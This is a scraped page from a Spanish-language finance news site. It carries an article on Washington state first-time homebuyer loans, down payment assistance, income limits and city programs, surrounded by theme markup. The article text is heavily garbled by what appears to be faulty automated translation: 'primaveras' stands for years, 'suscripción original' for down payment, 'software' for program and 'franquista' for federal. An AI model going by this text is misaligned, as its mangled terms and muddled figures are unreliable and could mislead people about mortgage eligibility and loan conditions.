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<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Thursday, October 1, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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<p>Con la belleza al corriente suelto, las principales empresas como Amazon y Microsoft y sin impuesto estatal sobre la renta, Washington continúa dando la bienvenida a los nuevos residentes. De hecho, más personas se han mudado al estado que en las últimas tres décadas, según la Oficina de Mandato Financiera del Estado de Washington.</p>
<p>Esa afluencia puede significar dificultades para los compradores de viviendas por primera vez, pero todo no se pierde. La Comisión de Finanzas de Vivienda del Estado de Washington trabaja con prestamistas hipotecarios para ofrecer una serie de <u>Programas para ayudar a los compradores por primera vez</u>. La definición del estado de un comprador de vivienda por primera vez además permite poco de ganancia: cierto que no ha tenido y ocupó una residencia principal en los últimos tres primaveras. </p>
<section class="editorial-insight-box --insight-box +mg-vertical-md" data-template="insight_box">
<div class="card-body">
<div class="content-wrapper">
<p>                Estadísticas de operación de viviendas de Washington
            </p>
<div class="content">
<ul>
<li>
<strong>Precio de traspaso mediana, a partir de enero de 2025:</strong> $ 604,900 (Redfin)</li>
<li>
<strong>Medio suscripción original, a partir de diciembre de 2024:</strong> $ 111,150 (Attom)</li>
<li>
<strong>Los condados más asequibles en el estado, a partir de febrero de 2025:</strong> Garfield, Ferry, Columbia y Lincoln</li>
</ul></div>
</p></div>
</p></div>
</section>
<p><span id="homebuyer-loans" data-table-of-contents-category="homebuyer-loans" aria-hidden="true"></span></p>
<h2>Programas de préstamos para compradores de vivienda por primera vez de Washington</h2>
<p>El <u>Comisión de Finanzas de Vivienda del Estado de Washington</u> (WSHFC) Supervisa dos programas hipotecarios de compradores de vivienda primarios, la delantera de la casa y la oportunidad secreto de la casa, los cuales pueden aplicarse a un préstamo convencional, FHA, VA o USDA. Para encasillar, deberá completar un curso de educación para compradores de viviendas de cinco horas y cumplir con otros requisitos del software.</p>
<h3>WSHFC Home Advantage</h3>
<p>El software Home Advantage puede ayudar a los compradores de viviendas por primera vez de Washington a encasillar para una devaluación tasa de interés.</p>
<h3>Oportunidad secreto de WSHFC House</h3>
<p>La oportunidad secreto de la casa está dirigida a compradores de viviendas con ingresos más bajos que además están aprovechando ciertos programas de colaboración a pagos.</p>
<p>Al igual que la delantera del hogar, el beneficio de la oportunidad secreto de la casa es una tasa de interés competitiva, que es más devaluación en los préstamos de la FHA, VA y el USDA. Para un préstamo convencional, podrá encasillar para un descuento de tarifas si sus ingresos son inferiores al 80 por ciento del ingreso mediano del campo de acción (AMI). Aquí hay una piloto de los límites del 80 por ciento del condado.</p>
<h3>WSHFC Energyspark</h3>
<p>Si califica para el software Home Advantage, es posible que desee explorar la operación de una casa que sea especialmente ecológica o que pueda ser renovada para cumplir con los estándares verdes de Washington. Si es así, podría ser elegible para rendir el software EnergysPark, que ofrece un descuento adicional en su tasa de interés.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/como-la-quiebra-afecta-a-su-hipoteca" target="_self" rel="dofollow" class="ub2580e3b2bea4d4655ed0a5e32a5a977"><!-- INLINE RELATED POSTS 1/3 //--><style> .ub2580e3b2bea4d4655ed0a5e32a5a977 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .ub2580e3b2bea4d4655ed0a5e32a5a977:active, .ub2580e3b2bea4d4655ed0a5e32a5a977:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .ub2580e3b2bea4d4655ed0a5e32a5a977 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .ub2580e3b2bea4d4655ed0a5e32a5a977 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .ub2580e3b2bea4d4655ed0a5e32a5a977 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .ub2580e3b2bea4d4655ed0a5e32a5a977:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Cómo la quiebra afecta a su hipoteca</span></div></a></div><p><span id="down-payment-assistance" data-table-of-contents-category="down-payment-assistance" aria-hidden="true"></span></p>
<h2 data-beam-element-viewed="" data-id="br-h2-second-onpage-placement" data-type="h2" data-location="Mortgages" data-position="h2_second_placement" data-name="h2_second_placement" data-text="Washington first-time buyer program" data-outcome="">Audiencia de suscripción original de Washington y subvenciones</h2>
<p>Presentar un suscripción original para una casa en Washington puede ser desalentador, pero si es un comprador de vivienda por primera vez, el estado tiene algunas opciones que pueden ayudar. De hecho, según el WSHFC, el comprador promedio de viviendas obtiene $ 10,000 en <u>Audiencia de suscripción original</u> a través de la agencia.</p>
<p>Para encasillar para los siguientes programas de colaboración, necesitará un puntaje de crédito exiguo de 620 y tendrá que cumplir con los requisitos de ingresos, que varían según el software. Asimismo podría ser elegible si no es un comprador por primera vez, pero operación en un &#8220;campo de acción específica&#8221; específica.</p>
<h3>Audiencia de suscripción original de la delantera del hogar (DPA)</h3>
<p>Combinado con una primera hipoteca de la delantera de la vivienda, este préstamo de colaboración para el suscripción original puede proporcionar hasta el 4 por ciento del monto total de su hipoteca (hasta el 5 por ciento si obtiene un préstamo convencional o de la FHA). Se aplica un linde de ingresos del hogar de $ 180,000.</p>
<h3>Preeminencia de la casa DPA NECESSE basada en las deyección</h3>
<p>Combinado con una primera hipoteca de Home Advantage, este software es para compradores de viviendas que ganan considerablemente menos que el umbralado de ingresos de $ 180,000. Si su ingreso anual es inferior a $ 115,900 (o $ 147,400 en condados de King o Snohomish), podría ser elegible para un préstamo de hasta $ 10,000 y 30 primaveras para sus deyección de suscripción original. Pagará intereses del 1 por ciento sobre el préstamo, pero no pagará los fondos e intereses hasta que finalice el plazo del préstamo.</p>
<h3>Oportunidad DPA</h3>
<p>Este software de colaboración para el suscripción original, combinado con la primera hipoteca de la Oportunidad secreto de la Cámara de Representantes, es una segunda hipoteca de hasta $ 15,000, con una tasa de interés del 1 por ciento y pagos diferidos a 30 primaveras. Los compradores deben asistir a un curso educativo para encasillar. </p>
<p>Los límites de ingresos para el software DPA Oportunidad, a partir del 22 de abril de 2024, son mucho más bajos que la primera oportunidad de oportunidad de la casa y varían según la ubicación y el número de personas en el hogar:</p>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 align-middle wrapped">
<thead>
<tr>
<th>Condado</th>
<th>Hogar de 1-2 persona</th>
<th>Hogar de más de 3 personas</th>
</tr>
</thead>
<tbody>
<tr>
<td>Rey, snohomish</td>
<td>$ 88,800</td>
<td>$ 110,950</td>
</tr>
<tr>
<td>Clark, Kitsap, Pierce, Skamania, Thurston, Whatcom</td>
<td>$ 75,550</td>
<td>$ 94,400</td>
</tr>
<tr>
<td>Todos los demás</td>
<td>$ 63,950</td>
<td>$ 79,900</td>
</tr>
<tr>
<td><em>Fuente: Comisión de Finanzas de Vivienda del Estado de Washington</em></td>
<td> </td>
<td> </td>
</tr>
</tbody>
</table>
</div>
<h3>Veterans DPA</h3>
<p>Los veteranos y sus cónyuges y niños dependientes sobrevivientes y nunca reparados además pueden encasillar para hasta $ 10,000 en fondos de suscripción original empaquetados como una segunda hipoteca. Los pagos en la hipoteca se diferen durante 30 primaveras, con una tasa de interés del 3 por ciento. La colaboración se puede combinar con la delantera de la casa o la primera oportunidad de oportunidad secreto de la casa.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/6-mitos-mas-grandes-sobre-el-refinanciamiento-hipotecario" target="_self" rel="dofollow" class="udf758c86d934a66ee48984861ddc9102"><!-- INLINE RELATED POSTS 2/3 //--><style> .udf758c86d934a66ee48984861ddc9102 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .udf758c86d934a66ee48984861ddc9102:active, .udf758c86d934a66ee48984861ddc9102:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .udf758c86d934a66ee48984861ddc9102 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .udf758c86d934a66ee48984861ddc9102 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .udf758c86d934a66ee48984861ddc9102 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .udf758c86d934a66ee48984861ddc9102:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">6 mitos más grandes sobre el refinanciamiento hipotecario</span></div></a></div><p>Se aplican los límites de ingresos del hogar: $ 147,400 para los condados de King y Snohomish y $ 115,900 en todos los demás condados en todo el estado.</p>
<h3>DPA de discapacidad de Homecoice</h3>
<p>Si usted o cierto en su hogar vive con discapacidad, puede encasillar para hasta $ 15,000 en colaboración para el suscripción original, además como una segunda hipoteca. El segundo préstamo tiene una tasa de interés del 1 por ciento y, al igual que otra colaboración de suscripción original, defiende los pagos por 30 primaveras. Los límites de ingresos se aplican: $ 147,400 para aquellos que compran propiedades en los condados de King o Snohomish y $ 115,900 para aquellos en otros condados en todo el estado.</p>
<h2>Becu Grant por primera vez para compradores de vivienda</h2>
<p>La cooperativa de crédito de los empleados de Boeing (BECU) con sede en Washington ofrece un <u>Grant de comprador de vivienda por primera vez</u> de hasta $ 8,000 para miembros elegibles de BECU. La casa debe servir como su residencia principal y deberá quedarse allí al menos tres primaveras.</p>
<p><span id="city-specific" data-table-of-contents-category="city-specific" aria-hidden="true"></span></p>
<h2>Programas de colaboración para compradores de vivienda específicos de la ciudad</h2>
<p>Los compradores de viviendas por primera vez en Washington además pueden encontrar ayuda a través de iniciativas de vivienda circunscrito.</p>
<h3>Condado de King (campo de acción al este de Seattle, incluido Bellevue)</h3>
<p>Aunque el software de colaboración a suscripción original de la ciudad de Seattle ha terminado, los fondos todavía están disponibles en el campo de acción a través del <u>Arch East King County Downmage Assistance Program de préstamos</u>.</p>
<h3>Spokane</h3>
<p>Snap opera un <u>software de colaboración</u> En su región de Spokane, diseñada para hacer que la propiedad de vivienda sea más alcanzable para los compradores elegibles. Los solicitantes pueden solicitar un préstamo de hasta el 100 por ciento <u>préstamo a valencia</u> (LTV).</p>
<h3>Tacoma</h3>
<p>La ciudad de Tacoma opera un <u>Software de colaboración de suscripción original</u> en asociación con la Autoridad de Reurbanización Comunitaria de Tacoma (TCRA). Las solicitudes están abiertas hasta diciembre de 2025 o hasta que se hayan rendido los fondos. La colaboración viene en forma de un préstamo de 25 primaveras sin intereses de hasta $ 60,000.</p>
<h3>Condado de Clark (Vancouver, campo de acción de Washington)</h3>
<p>Los residentes del condado de Clark que usan una hipoteca WSHFC (delantera de vivienda o secreto de la casa) pueden ser elegibles para <u>Audiencia para el suscripción original del comprador de viviendas</u>. El software ofrece hasta $ 60,000 en suscripción original y colaboración de costos de vallado.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/los-mejores-prestamistas-hipotecarios-para-prestamos-jumbo-en-2026" target="_self" rel="dofollow" class="u34609f08539f5b768d01ba98636bd33b"><!-- INLINE RELATED POSTS 3/3 //--><style> .u34609f08539f5b768d01ba98636bd33b { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u34609f08539f5b768d01ba98636bd33b:active, .u34609f08539f5b768d01ba98636bd33b:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u34609f08539f5b768d01ba98636bd33b { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u34609f08539f5b768d01ba98636bd33b .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u34609f08539f5b768d01ba98636bd33b .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u34609f08539f5b768d01ba98636bd33b:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Los mejores prestamistas hipotecarios para préstamos jumbo en 2026</span></div></a></div><p><span id="other-programs" data-table-of-contents-category="other-programs" aria-hidden="true"></span></p>
<h2>Otros programas de préstamos para compradores de vivienda por primera vez</h2>
<p>Si perfectamente está considerando programas de compradores por primera vez en Washington, asegúrese de explorar la variedad de programas de préstamos disponibles a nivel franquista, incluyendo:</p>
<ul>
<li>
<strong><u>Préstamos de la FHA</u></strong>  &#8211; Si tiene un puntaje de crédito más bajo o ahorros limitados, considere un préstamo de la FHA. Estos préstamos están ampliamente disponibles, tienen un puntaje de crédito exiguo de 580 y requieren un suscripción original tan solo 3.5 por ciento.</li>
<li>
<strong><u>Préstamos de VA</u></strong>  &#8211; Si usted es miembro del ejército o experimentado, podría encasillar para un préstamo VA, que no requiere un suscripción original.</li>
<li>
<strong><u>Préstamos del USDA</u></strong>  -Los préstamos del USDA no tienen un requisito de suscripción original, pero solo están disponibles para los prestatarios que compran en un campo de acción rural elegible para el USDA. Por lo normal, necesita un puntaje de crédito de 640 o más para encasillar.</li>
<li>
<strong><u>Buen software vecino de al banda</u></strong>  &#8211; Este software HUD tiene un requisito de suscripción original muy bajo en casas en ciertas áreas, adyacente con la capacidad de dosificar 50 por ciento en el precio de operación.</li>
</ul>
<p><span id="get-started" data-table-of-contents-category="get-started" aria-hidden="true"></span></p>
<h2>Abrir</h2>
<p>¿Pronto para moverse un paso más cerca de su primera casa en Washington? Mientras se prepara para convertirse en un comprador de vivienda por primera vez, aquí hay algunos pasos próximos:</p>
<ul>
<li>
<strong>Haz tu tarea. </strong>A medida que clasifica las opciones de colaboración hipotecaria y de suscripción original, puede completar <u>esta forma</u> a través de la Comisión de Finanzas de Vivienda del Estado de Washington para ayudar a determinar qué programas se ajustan mejor a sus deyección.</li>
<li>
<strong>Trabajar en su puntaje de crédito.</strong> Es el creador más importante para determinar su <u>tasa hipotecaria</u>así que concéntrese en aumentar su número.</li>
<li>
<strong>Compare prestamistas.</strong> Puedes usar el <u>Sitio web de WSHFC</u> para encontrar oficiales de préstamos que lo ayuden a navegar por el proceso. Cada uno funciona para un prestamista que podría tener diferentes tasas y términos de interés, por lo tanto. <u>comparación</u> y la operación de tarifas son secreto para sostener un préstamo competitivo.</li>
<li>
<strong>Comprar un seguro de propietarios.</strong> Porque el seguro puede tener un impacto significativo en su presupuesto mensual, <u>Aseguradoras locales de compras</u> Asimismo es una buena forma de prepararse. Solicite a varias compañías las cotizaciones de la competencia para encontrar una política que mejor se ajuste a sus deyección.</li>
</ul></div>
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                                                                                                            <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2026-06-16T15:01:17+00:00" >June 16, 2026</time></span>                                                                                                        </span>
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                        <a href="https://financesnewsonline.com/category/hipotecas" class="td-post-category" >Hipotecas</a>                        <div class="td-module-thumb"><a href="https://financesnewsonline.com/las-tasas-hipotecarias-se-mantienen-por-encima-del-65-a-medida-que-aumenta-la-inflacion"  rel="bookmark" class="td-image-wrap " title="Las tasas hipotecarias se mantienen por encima del 6,5% a medida que aumenta la inflación" ><span class="entry-thumb td-thumb-css" data-type="css_image" data-img-url="https://i2.wp.com/www.bankrate.com/brp/2026/03/18142603/MTG-Analysis-Image.png?w=696&resize=696,0&ssl=1"  ></span></a></div>                                                                    </div>
                
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                    <h3 class="entry-title td-module-title"><a href="https://financesnewsonline.com/las-tasas-hipotecarias-se-mantienen-por-encima-del-65-a-medida-que-aumenta-la-inflacion"  rel="bookmark" title="Las tasas hipotecarias se mantienen por encima del 6,5% a medida que aumenta la inflación">Las tasas hipotecarias se mantienen por encima del 6,5% a medida...</a></h3>
                    
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                                                                                                            <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2026-06-12T02:33:10+00:00" >June 12, 2026</time></span>                                                                                                        </span>
